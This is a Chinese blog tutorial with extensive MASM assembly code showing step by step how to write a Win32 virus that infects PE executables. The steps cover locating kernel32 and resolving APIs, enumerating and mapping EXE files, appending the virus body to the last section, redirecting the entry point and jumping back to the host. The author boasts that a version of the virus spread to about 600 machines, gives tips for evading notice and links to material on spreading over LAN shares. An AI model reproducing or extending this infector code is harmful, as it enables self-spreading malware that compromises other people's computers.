WIN32 汇编写病毒感染PE文件

WIN32 汇编写病毒感染PE文件
作者:PSH
日期:2007/3/26
转载请注明出处,本人原创,欢迎交流。
近来没事学习了下病毒技术,看到网上好多年青人对这个比较感兴趣,那就写出来大家分享下吧。
1前提知识
a.熟练WIN32 ASM 语言,不会ASM就难得写出感染PE的病毒。比如“熊猫”,就不是ASM 写的,他感染PE就是个捆绑机。
b.熟悉PE文件的格式,不了解PE怎么写病毒,病毒就是修改PE文件。具体怎么改,下面再说。
c.熟悉WINDOWS编程,最好是用VC写过程序。对进程,多线程,文件操作都很熟,也就是熟悉SDK编程。
d.会基本的软件调试工具,比如W32DASM,OD。不会调试,恐怕难得写个感染PE的病毒。
e.有耐心和细心,对,就是一颗好奇并且喜欢搞恶作剧的心。
f.SEH异常的学习,病毒程序容易崩溃,程序异常处理很有必要。罗云彬的书有介绍。
上面是基本的知识。学到后面恐怕难免要学习驱动技术。
2写病毒的工具
a.语言编译器
我用的MASM,这个可以在罗云彬的网站上下载。也有很多人用TASM,不过,我觉得都差不多。
b.调试器
我开始用的是win32dasm,后来也用OD.原因是他们简单好用。
c.介绍PE格式的书籍和参考书
本人推荐 罗云彬的大作 上面有PE格式。
计算机病毒与反病毒技术——重点大学计算机专业系列教材 这个也不错,上面有个感染PE的爱虫病毒。
3病毒的编译
一般来说,病毒只有一个节,就是.CODE节。这个节是可写,可读,可执行的。我们知道,正常文件都有很多个节,有的节不可写,有的节不可读。但是病毒一般就一个,这是因为病毒感染其他正常PE文件时,病毒的代码要插入被感染程序的代码段中,无论数据,代码,甚至是API函数
都是自己带入附带的。
看下面的介绍:
---------------------------------------------------------------------
.code
start:
xor eax ,eax
xchg eax ,cout
ret
cout  dd   00001234h
end start
---------------------------------------------------------------------
这样的代码你可以编译,可以连接,但就是不能运行。调试 错误说出了一个“不允许的写操作”
这是因为EXE文件的代码段是不可写的。这就是有些人拿网上的病毒代码连接但总是无法运行的原因。
解决的方法有两个:
<1> . 单独定义一个段 如
---------------------------------------------------------------------
  .code
 haha  segment para use32
 start:
 xor eax ,eax
 xchg eax ,cout
 ret
 cout  dd   00001234h       ;这样定义在 .code 内的变量就可以写了。
 haha  ends
 end   start
程序就可以正常的运行。
---------------------------------------------------------------------
<2>.连接时候用  section 属性来定义代码段可写
 link /subsystem:windows /section:.text,w  XXXX.obj
这样就可以把变量定义在代码段内,很多病毒就是这样来搞的。
这就是病毒的编译法子。我用的法2,不过爱虫病毒用的好像是法1.

4 病毒感染PE技术
A 重定位
为什么要重定位,相信有写病毒能力的人应该都心中有数。重定位的技术在罗云彬的进程隐藏和PE文件中讲的很详细。具体的来龙去脉我不多讲,不懂的先要恶补了。代码如下::
++++++++++++++++++++++++++++++++++++
call @base                   
@base:  pop ebx
sub  ebx ,offset @base
++++++++++++++++++++++++++++++++++++
那么EBX中间就是代码的偏移差了。
以后调用 全局变量的时候都要这样 [ebx + offset XXXX]
如lea   ecx , [ebx + offset szGetProcAddress]
有的人喜欢把其他寄存器作为偏移差,这样不好。老罗的书中说了,用EBX比较好,原因是其他程序用的少,病毒执行快。
B 病毒调用API函数的问题
请严格看罗云彬的大作里面的介绍。另外 “无花果”的网站里面也有相关的介绍。
严格说,病毒的代码是流动的,不是一个完整的程序框架。病毒调用的API都要自己到导入库中加载函数的导入地址。
要获取函数地址必须使用LoadLibrary,GetProcAddress和GetModuleHandle函数,但这些函数地址又从哪里得到呢(这就好像一个“先有鸡,还是先有蛋”的问题),幸亏这些函数都存在于Kernel32库中,Kernel32.dll库文件和User32.dll,Gdi32.dll一样,都是最常用的库,在不同的进程中,系统会将它们装入到同样的地址中,所以对于它们来说,在本地进程中获取的地址可以用在远程线程中。

各个程序的要导入的系统内库(DLL,如KER32)在系统的内存空间都是独立的,因而在程序中加载的地址也是不同的。幸好的是, ker32dll在整个系统中的地址是不变的,有点像程序内存共享的味道。我们首先要做的是自己找到 ker32dll的基地址。进而从这个基地址开始 找到GetProcAddress的函数地址。有了这个函数以后,我们就可以加载其他API函数的入口地址了。系统内存中的KER32DLL是什么呢,注意不要忘了,它不过也是一个PE文件,它的内部结构和PE文件是没有任何差别的。(提醒大家一下。有人问我,它拿人家的程序,不知道指向KER32 的ESP 现在的地址在那里了,答案就在这里。)

++++++++++++++++++++++++++++++++++++++++++++++++++++
找到ker32dll的基地址
_getbase proc uses esi edi, besp
local @re
mov   @re ,0
mov eax ,besp
and eax ,0fffff000h
mov esi ,eax
@@:
sub esi,1000h
cmp word ptr [esi] ,'ZM'
jnz short @b
movzx edi ,word ptr [esi + 003ch]
add   edi ,esi
cmp word ptr [edi] ,'EP'
jnz short @b
mov @re ,esi
mov eax ,@re
ret
_getbase endp
看到上面函数有一个参数
在病毒开始是这样调用
push [esp]
call _getbase
原因是程序开始的时候ESP里面的地址是在KER32DLL里面的。记住,KER32DLL是个PE文件,品味一下这话的含义。
这里不多说,详细的细节参考罗云彬的大作。(但老罗没教你写病毒喔)
++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++
;下面这个函数找API函数的入口地址,了解PE结构对着看
_getpro proc uses esi ebx ,hmod , lpapi
local @strling ,@return,@@@1
xor eax ,eax
or eax ,0000000fh
mov @strling,eax
mov   esi , hmod
add esi ,[esi + 003ch]
assume  esi:ptr IMAGE_NT_HEADERS
mov     esi ,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi , hmod
assume  esi:ptr IMAGE_EXPORT_DIRECTORY           
;倒出表
mov     ebx,[esi].AddressOfNames
add     ebx,hmod
mov @@@1 ,esi
@@:
mov     esi , lpapi
mov edi , dword ptr [ebx]
add edi , hmod
mov ecx ,@strling
cld
repz cmpsb
jz @sucess
add ebx , 0004h
jmp @b
@sucess:
mov esi ,@@@1
sub ebx , [esi].AddressOfNames
sub ebx ,hmod
shr ebx ,1
add     ebx, [esi].AddressOfNameOrdinals
add     ebx, hmod
movzx eax ,word ptr [ebx]
shl eax ,2
add eax ,[esi].AddressOfFunctions
add eax ,hmod
mov eax ,dword ptr [eax]
add eax ,hmod
mov @return ,eax
assume esi:nothing
mov eax ,@return
ret
_getpro endp
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
上面的函数很明显,到内库DLL中的内存空间中去寻找导出函数。我们下用用这个函数找了很多KER32中我们要用的函数,包含感染,传播等等一系列的API。当然,我在调试病毒的初期,还找了User32.dll中的一些函数,如MessageBox 用来弹出对话框,验证我的病毒是不是成功进入了EXE文件的体内。
调用上面的函数找到GetProcAddress的基地址
注意这里有两个参数,一个是指明函数的名称,一个是函数所在的模块(DLL)
lea   ecx , [ebx + offset szGetProcAddress]
push   ecx
push  eax
call _getpro
mov [ebx +_GetProcAddress ] ,eax
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
得到了GetProcAddress的基地址,就可以一股脑儿的加载所有要用的API函数的入口地址了。
相信写过嵌入式 DLL ,或是远程线程插入的 朋友们都能理解这里。没写过的要补习下了。
这里有个问题,比如下面的代码
szCreateFile  db  "CreateFileA",0
szWriteFile  db  "WriteFile",0
为什么CreateFile这个API函数在导入库中按照函数名称找地址时,后面加A呢?。szWriteFile这个又没加。还有的加的是W.
看过爱虫病毒代码的人也会与这样的疑问。
到底是加什么呢,关键还是要到MASM安装目录下面的INC文件里面去看了。打开相应的导入库,找到里面的函数,看看他的原型就知道加什么了。用TASM的朋友们估计也是一样的。
C 对齐问题
PE里面的节的长度还有什么内存文件的长度都是按照一定的大小对齐的。
内存中节的对齐度和文件映射内存中的对齐度(1000H),都是有相关规定的。IMAGE_OPTIONAL_HEADER32结构中的SectionAlignment字段和FileAlignment字段,对照着PE结构看看。下面给出一个对齐的函数。
+++++++++++++++++++++++++++++++++++++++++++++++++++++++
src 是对齐的基本单位,dion 里面是带对齐的大小,EXC返回就是对齐后的大小了
_align proc uses eax edx , src :dword,dion :dword
local @retu
mov eax ,src
xor     edx ,edx
div     dion
test edx ,0ffffffffh
jz @f
inc eax
@@:
mul dion
mov @retu ,eax
mov ecx,@retu
ret
_align endp
++++++++++++++++++++++++++++++++++++++++++++++++++++
D 查找感染
以下给出感染的具体思路和过程,给出部分代码。
1找到要感染的文件 ,创建文件内存影像,在内存中修改PE文件
2感染文件,一般是在程序的代码段后面加入一段病毒的代码,或是添加一个新的节(这种法子听起来很好,但是杀软容易发现)
3计算新文件的节的多少,节的大小,新的入口点,什么的一系列参数,重新写入程序。
中间计算入口点代码和一系列修改参数有点复杂。还要写入感染过的标志,不能重复感染。记得写第一个病毒的时候我学CIH的修改了00PE前面的00为感染标志。结果病毒感染后的文件运行就报错不是一个PE文件了。
查找要感染的文件(EXE类型)
lea     eax ,[ebx + offset qqre] ;说来惭愧,之所以叫qqre,当时就是想搞腾讯的鬼。
push    eax
lea     eax ,[ebx + offset dition]
push    eax
call    [ebx +_FindFirstFile]
cmp     eax ,INVALID_HANDLE_VALUE
jz      _SafePlace ;找不到文件,结束查找 (下面没有给出这个标号,省略了,因为涉及了SHE的知识。)
声明一下,call    [ebx +_FindFirstFile] 。其实就是我们病毒内存中找到的FindFirstFile函数的调用地址。利用前面的GetProcAddress把系统中的FindFirstFile调用地址放到了病毒的全局变量_FindFirstFile中,无外乎就是调用API函数罢了,参数含义都一样。以后的都是类似的,不再重复。什么你看不懂,基础太差,先恶补下基础。
打开找到的文件
push    NULL
push    NULL
push    OPEN_EXISTING
push    NULL
push    FILE_SHARE_READ or FILE_SHARE_WRITE
push    GENERIC_READ or GENERIC_WRITE
lea     eax , [ebx + qqre. cFileName]
push    eax
call   [ebx +_CreateFile]
cmp    eax ,INVALID_HANDLE_VALUE
jz     @findend       ;找到了文件,但是打不开
mov    [ebx + @hfile] ,eax
下面开始修改PE文件,为了快速,一般是在文件内存影像中进行的。这里有个关键问题要注意了,内存影像的文件是怎么样的呢?答案是和磁盘上的文件是一样的。不要认为文件到了内存,就要按照PE装入内存文件那样,对齐度什么的变化了。细节决定成败,一点不假。
创建文件映射对象
push   NULL
push   0
push   0
push   PAGE_READWRITE
push   NULL
push   [ebx + @hfile]
call   [ebx +_CreateFileMapping]
test   eax ,eax
jz     @closewen   ;不能创建文件映射对象

把文件读入内存
mov    [ebx +hmaping] ,eax
push   0
push   0
push   0
push   FILE_MAP_WRITE or FILE_MAP_READ
push   [ebx +hmaping]
call   [ebx +_MapViewOfFile] 
test   eax ,eax
jz     @closemap   ;创建了文件影射,但是不能把文件搞到内存去
上面说了,具体感染的法子有很多。最常见的就是在最后一个代码节段的后面追加一段代码,最好再加密一下,这样的效果其实很好。其他的比如加一个新节,都是类似的了,不过效果反而不好,杀软可不是吃素的。当然CIH那样的,附加节的缝隙中,寄生虫一样,那样更难,不考虑。
下面谈下具体要改那些地方。怎么改,那就要各位对着PE的格式去慢慢寻找了。毕竟想写病毒不吃下苦,不熬下夜估计是不行的。我写第一个病毒版本之前,琢磨了半个学期,完成病毒编写花了将近半个月。所以,思考远比蛮干重要。
接着上面的代码下来。
mov [ebx +pmaping] ,eax  ;得到文件在内存映射中的地址
mov esi,eax              ;esi 指向文件头(DOS可执行文件标记,为“MZ”)
mov eax , dword ptr [esi+ 003ch] ;把文件头到PE头的距离保存起来,其实要注意了,这里是相对的距离,看看PE结构
mov [ebx + pe_tou ],eax             
 
add esi ,eax       ;到PE头(文件头加了刚刚的相对距离)
mov eax ,dword ptr [esi+0038h] ;内存中节的对齐度(IMAGE_OPTIONAL_HEADER32 STRUCT中了)
mov [ebx + @secalign] ,eax  ;把这个节对齐度保存起来,后面要用
mov eax ,dword ptr [esi+003ch] ;文件中节的对齐度
mov [ebx + @filealign],eax  ;把这个节对齐度保存起来,后面要用
上面注意了,一个是内存中节的对齐度,一个是文件(硬盘中)节的对齐度。要是你病毒不能正确的感染,考虑下这里的细节错了没有。写病毒,心粗的人不要来。

movzx eax , word ptr [esi+0006h] ;得到文件的节的个数
dec  eax          ;减一个节
imul eax ,eax,28h    ;除去一个节后所有节表的长度,(IMAGE_SECTION_HEADER 长度就是28h,可以看看PE文件)
add  eax ,[ebx + pe_tou]  ;再加上文件头到PE头的距离
add  eax ,18h         ;再加上IMAGE_FILE_HEADER 和 “00PE"
movzx ecx , word ptr [esi+0014h] ;取IMAGE_OPTIONAL_HEADER32结构的长度;
add  eax ,ecx                    ;得到所有头加除去最后一个节表物理长度(相对的)
mov  [ebx + @@1],eax             ;@@1中是从文件头到最后一个节表开始的长度
add  eax ,[ebx +pmaping]         ;到了最后一个节表在内存中的位置
上面干了那么多事,不会白忙活了吧。其实上面就是定位到最后一个节表在内存中的位置。因为我们的感染方式是在代码节的后面加上一段病毒代码,所以要找到最后一个节的位置了。有的人要问了,最后一个节表就是代码段吗?要不是怎么办呢?我管你是不是呢,我加上去了再说,再把你的属性搞的和可执行的代码段一样,你不是代码段我都把你整成个代码段,实在是够绝的。

assume eax:ptr IMAGE_SECTION_HEADER
mov [eax].Characteristics ,0E0000060h ;把节属性搞的可写可读可共享
mov edx ,[eax].PointerToRawData       ;得到最后的节在磁盘中的偏移(开头)
add edx ,[eax].Misc.VirtualSize       ;最后的节的尾部在磁盘中的偏移(加了长度)
add edx ,myviruslg                    ;最后的节加毒后尾部在磁盘中的偏移(节加了我的病毒代码myviruslg  是我的病毒代码的长度)
push   1000h
push edx
call  _align
按照内存中的对齐单位对齐(这里其实不通用,一般对于Win32来说,这个值是4 Kb(1000h),而对于Win64来说,这个值是8 Kb(2000h)其实还是写作IMAGE_OPTIONAL_HEADER32结构中SectionAlignment的值比较好,这就是一个通用病毒了)

mov [ebx + @virusleng] , ecx          ;得到了文件映射到内存中的对齐过的长度

同样了,下面是按照磁盘中的对齐单位对齐。
push  [ebx + @filealign]
push  edx
call  _align
mov   [ebx + @virusfilelg] ,ecx

接下来要调整文件大小,为什么是这样呢,慢慢想想,品味下罗云彬有关PE的介绍吧。给出代码后我们再解释。
push  FILE_BEGIN   ;调整文件大小
PUSH   NULL
push   [ebx + @virusfilelg ]
push   [ebx + @hfile]
call [ebx + _SetFilePointer]
大家可以看到,上面是按照加了毒后的磁盘空间大小来调整的,不是内存空间,因为内存影像是和磁盘文件对应的。
下面关闭文件影像,修改了文件的大小。这时候估计被感染文件的大小已经变化了。
push [ebx + pmaping]
call [ebx +_UnmapViewOfFile]
push [ebx + hmaping]
call [ebx +_CloseHandle]
 
push   [ebx + @hfile]
call   [ebx + _SetEndOfFile]  ;调整过后定文件结尾
上面被感染文件的大小是变化了,腾出了给病毒代码的生活空间,但是病毒的代码还没有加入到被感染文件中去呢,现在我们才一次把被感染文件搞到内存影像中。
考虑一个问题,要是我感染中途,被感染文件被其他程序调用了怎么办,这种情况很少见,但是也有可能。一个完美的病毒,和你本人的性格是一样的。

再一次建立调整后文件的内存影像
push NULL
push  [ebx + @virusleng]
push  0
push  PAGE_READWRITE
push NULL
push   [ebx + @hfile]
call [ebx +_CreateFileMapping]
mov [ebx +hmaping],eax
push 0
push 0
push 0
push FILE_MAP_WRITE or FILE_MAP_READ
push [ebx +hmaping]
call [ebx +_MapViewOfFile] 
test eax ,eax
jz @closemap              ;创建了文件影射,但是不能把文件搞到内存去
mov [ebx +pmaping] ,eax   ;得到文件在内存中的开始位置,就是文件头

 上面的都是老套路了,不再麻烦的重复。
mov esi,eax
mov eax ,[ebx + @@1 ]     ;这个@@1是上面保存了的, 也就是文件开头到最后一个节表开始的相对长度。
      
从下面开始就是修改PE文件了,看起来很乱和麻烦。        
add eax ,esi                   ;定位到最后一个节表开始在内存中地址
add esi , [eax].VirtualAddress ;定位到没加毒最后一个节表末尾在内存中的开始
add   esi , [eax].Misc.VirtualSize ;定位到最后一个节表末尾在内存中的结束(没对齐前)
mov [ebx + @@2 ],esi               ;现在@@2中是最后一个节表尾部在内存中的地址(没对齐的)
到了这一步,接下来我们要干什么呢。那就是计算新的入口点。我们知道,新的入口点肯定是我附加的病毒代码的开始处了。那怎么计算出来呢?下面慢慢来。

关于JMP这样的想法,我是看罗云彬书上后自己想出来的。可以说我没有去找人家病毒的感染思路,我是自己琢磨了一番,随后决定的。我相信法子有很多。

add esi , myvirusjmpnext      ;定位到加毒后要JMP XXXX的下个地址
这里估计大家有点迷糊了。我没有给大家完整的代码。Myvirusjmpnext可能大家也不知道是什么。我这里解释一下。
我的病毒代码框架是这样的:
myvirusjmpnext equ offset _jmp - offset myvirusk + 5
 .code
myvirusk :
xxxxxxxxx
xxxxxxxxx
start:
xxxxxxxxx
_jmp:                  ;myvirusjmpnext 减5 到了这里 其实就是指向ret
ret
oldentry      dd ? ; xxxxxxx
myvirused :
end start

大家可以看出来,上面的myvirusjmpnext 其实是病毒代码开头到标号_jmp 的长度,再加了一个5.。其实病毒的“本源”自己第一次运行时,到了_jmp的下面,遇到ret 就返回结束了。但是如果不是病毒的“本源”,而是被感染了的文件,病毒的代码就不是“本源”,是附加到程序后面的代码,这时就不能是RET了,如果还是RET,那么被感染的程序运行完了附加病毒代码就返回了,岂不是破坏了原来程序的功能。我们要的是先运行附加病毒的功能,再接着运行原来程序的其他功能。

这里可想而知了。凡是感染其他的正常文件,我们的病毒写入附加病毒代码时这个地方是一个特殊的“节骨眼”,不能再是原来的RET了,而要是一个 跳转到 原来正常程序的 跳转指令,包括了JMP的机器语言,和要跳转的地址。这里就要用机器语言来写代码了,用机器语言写入JMP 的指令,再填入跳转地址。大家好好的琢磨一下,这里难想。可以先看看老罗的关于PE修改最后一个例子对于JMP的处理法子。

可以给大家把感染后的文件框架写出来,应该是这样的:

xxxxxxxxx
原来程序入口:
Xxxxxxxx 原来的功能。
最后一个节:
xxxxxxxxxx
病毒的代码开始:
Xxxxxxxxxxxxx 病毒的功能
病毒的代码介绍:
Jmp 上面的 原来程序的入口

当被感染程序执行时,先到病毒的代码开始处,完成病毒的功能,完了,再用JMP 跳回到原来程序的入口地址,完成原来程序的功能。后面有写入JMP 机器指令的代码,慢慢来。

 

接着来:
mov [ebx + @jmpnext] ,esi     ;@jmpnext 中是上面地址
mov esi,  [ebx +pmaping]      ;取出文件开头地址
add esi , [eax].PointerToRawData    ;定位到没加毒的最后一节节的开始在磁盘中的位置
add   esi , [eax].Misc.VirtualSize  ;定位到没加毒的最后一节节的末尾在磁盘中的位置
mov [ebx + @@3],esi                 ;@@3中是没加毒最后一节的末尾在磁盘的位置
mov edx ,[eax].Misc.VirtualSize
add edx ,myviruslg      ;在此加了病毒代码长度
mov  [eax].Misc.VirtualSize  , edx  ;改变加毒后的virtualsize
push   [ebx + @filealign]        ;对齐
push   edx
call  _align
mov [eax].SizeOfRawData ,ecx        ;改变加毒后的sizeofrawdata
mov [ebx + @addsizecode],ecx
assume eax : nothing
 其实上面就是计算了一下修改后(加毒)的节在内存中的大小,在磁盘中的大小等。

下面要开始写病毒的代码到被感染文件的体内去了。
mov  edi,[ebx + @@3]   ;@@3中是没加毒最后一节的末尾在磁盘的位置
lea esi ,[ebx + offset myvirusk] ;
mov ecx ,myviruslg
cld
rep movsb    ;现在ESI到了病毒代码的最后,EDI到了加了病毒的节末在磁盘中的位置
上面的一段,该计算和修改的节的一些特征都改了,然后把病毒的代码从开始写入到了被感染程序的节的后面。注意,由于是复制了病毒的代码,那么前面提及“节骨眼”的地方还是感染者的JMP 和 跳转地址。下面要再修改。到这里,就和上面讲解的“节骨眼”联系起来了。
               
                  
 
mov esi , [ebx +pmaping]
mov eax , dword ptr [esi + 003ch]
add esi , eax   ;到PE头
assume esi :ptr IMAGE_NT_HEADERS
mov eax ,[ebx + @@2 ] ;@@2中是最后一个节表尾部在内存中的地址(没对齐的)
sub eax ,[ebx+pmaping];得到没加毒的从文件头到最后一个节末的长度(没对齐的)
add eax ,myviruslg   ;的加了毒的文件头到最后一个节末的长度(没对齐的)
push    [ebx + @secalign]
push    eax
call    _align
mov [esi].OptionalHeader.SizeOfImage  ,ecx ;改变PE头中的 sizeofimage
mov eax ,[ebx + @addsizecode]
 
add     [esi].OptionalHeader.SizeOfCode,eax  ;修正SizeOfCode
mov eax ,[ebx + @@2]     ;@@2中是最后一个节表在内存中尾部的地址(没对齐的)
sub eax ,[ebx +pmaping]  ;得到没加毒的从文件头到最后一个节末的长度(没对齐的)
add eax ,myvirustart     ;得到中毒后文件新的入口地址
注意上面的 myvirustart  equ   offset start - offset myvirusk 。
myvirusk 是病毒代码开头,start就是病毒代码的入口点地址。Myvirustart只不过代表了这个相对的长度。
push [esi].OptionalHeader.AddressOfEntryPoint       ;保存原来的入口RVA
pop  [ebx + @oldentry]
mov [esi].OptionalHeader.AddressOfEntryPoint  ,eax  ;写入新的中毒后的RVA 
上面的一系列都是水到渠成的,没什么难度,对照着PE结构很好理解。
         
这里JMP的地址要参考老罗的书。   
mov eax ,[ebx + @oldentry]     ;得到原来的入口RVA
add   eax ,[ebx + pmaping]     ;得到要跳的地址。
sub  eax ,[ebx + @jmpnext]     ;得到B-A ,也就是JMP XXXX 的地址
sub  edi , myvirusjmp 
mov dword ptr [edi+1],eax     ;写入了JMP要跳转的地址
mov byte  ptr [edi],0e9h      ;这里就是写入JMP的机器码
assume esi:nothing
可以看看,一个BYTE的JMP机器码,4一个BYTE的跳转地址,所以前面“节骨眼“的地方加了一个5,而不是其他的数字,这都是严谨的科学,来不得半点马虎。上面我没有讲有关JMP地址的计算的法子,其实也很简单,不懂的看哈老罗的书就明白了。顺便在调试器下看看,自己是不是调对了。到了这里,其实病毒已经成功的寄生了被感染文件。

下面这样写,因为是看一个前辈写的,他说他没这样写感染后的文件以后要出错,所以我就偷来了。其实,我不写好像也没错。
push 0
pop [esi + IMAGE_NT_HEADERS.OptionalHeader.DataDirectory(88)]
解除影射,关闭映射对象,关闭打开的文件
push [ebx + pmaping]
call [ebx +_UnmapViewOfFile] 
push [ebx +hmaping]
call [ebx +_CloseHandle]  
push [ebx + @hfile]
call [ebx + _CloseHandle]
查找下一个文件
lea  eax ,[ebx + offset qqre]
push eax
push dword ptr [ebx + @fhfile]
call [ebx + _FindNextFile]
结束查找
push dword ptr [ebx + @fhfile]
call [ebx +_FindClose]
上面的说明,的确是有点复杂。但是确实是修改PE文件的一步步套路。建议可以看看 爱虫病毒的源码,估计也够呛的。
f 其他说明
看过病毒代码的人,或许在病毒的开头都看到过这样类似的代码
myviruslg    equ   offset myvirused  - offset myvirusk
myvirustart   equ   offset start - offset myvirusk
myvirusjmp   equ   offset myvirused - offset _jmp
其实上面就包含了病毒文件的长度,被感染文件新的入口写入点之类的信息。
如病毒长度myviruslg就是这样的了:
.code
myvirusk:
.................
start:
.................
myvirused :
end start
如上面的_jmp等就是病毒里面的各个标号,代表了一些修改的关键点的信号。老罗的远程线程插入里面也有相关的说明。
被感染程序往往是先执行病毒,再执行宿主程序。建议启动多线程,病毒和宿主同时启动,这样才不至于被人发现。病毒的大小有多大呢?据我的研究,病毒的主体很小,估计也就3K的样子。用ASM写个完整的下载者病毒,差不多就是10K大小的样子。
当然在实验病毒的过程中,难免要这样那样的调试,不断的调试。只有这样,你才能写出自己的PE病毒来。在感染文件的时候,也不要感染的太多,特别是在实验的时候,感染的目录最好是特定的,不然你电脑上面所有的EXE文件成病毒了。各位想写病毒的同志们,要写个完整的病毒还是要花点功夫的。
后话:这些天为了写病毒,吃了不少苦,熬了不少夜。写这样的教材,更像是笔记。看起来很复杂,也很麻烦。建议大家写的时候,身边不要少了PE格式,和一些写在纸上面的病毒代码,这样才便于思考。写过来发现,ASM写病毒的确是很方便,好像天生就是设计来干这个勾当的。相反,用C来写反而不好写感染PE的代码。 其实当你写出一个感染完整的PE病毒后,会很有成就感。但很快,你就会懒得再去鼓捣你的病毒了。因为的确很麻烦,更多的时间你会考虑新的感染方式。以后也还有很多路要走,还有很多书要看,比如驱动方面的书籍。

续写:
近来这段时间时不时有人问我关于病毒感染PE的技术,大多都是看了我以前写的病毒感染笔记,其中不乏很多初学者。由于文章是后来匆忙写的,里面很多的细节都没有给大家细解,导致很多人有不明白的地方。乘着我现在有点空闲时间,重新拿起PE结构,给大家注释了很多该细讲的地方。希望对大家有帮助。
一些初学者往往问我不能感染成功的原因。其实我觉得最好的法子还是调试,定位到每一句API函数,看自己的问题出在了哪里。最后和大家分享一下病毒感染的威力和趋势。我的病毒最早的版本是大二下学期,大小差不多是3K左右,当时卡巴没有反应。后来断断续续的添加了一些新的模块,大小逐步到了大四上学期的8K左右,不过中途有几个版本有些小问题什么的,没有实验。为了不给自己带来麻烦,病毒始终没有添加恶性破坏功能,也尽力的控制在内网中实验。(我建议大家也是这样,毕竟天外有天,人外有人)流传最广的还是大小为5K左右的1.2版。在内网中实验,2个多月时间陆陆续续的传播了近600台计算机。后来发现一个问题,简单的病毒,往往杀软容易放过,如果功能多了,比如线程插入其他进程,结束杀软进程什么的,杀软反而控制的比较严格。
给大家推荐一下病毒学习、传播方式的资料地址:
有关局域网共享传播的资料:
http://www.cnasm.com/view.asp?classid=51&newsid=88
有关汇编病毒SEH异常处理的资料:
http://www.cnasm.com/view.asp?classid=50&newsid=72
罗聪的为PE文件添加新节显示启动信息:
http://www.luocong.com/articles/show_article.asp?Article_ID=22

 

  • 3
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值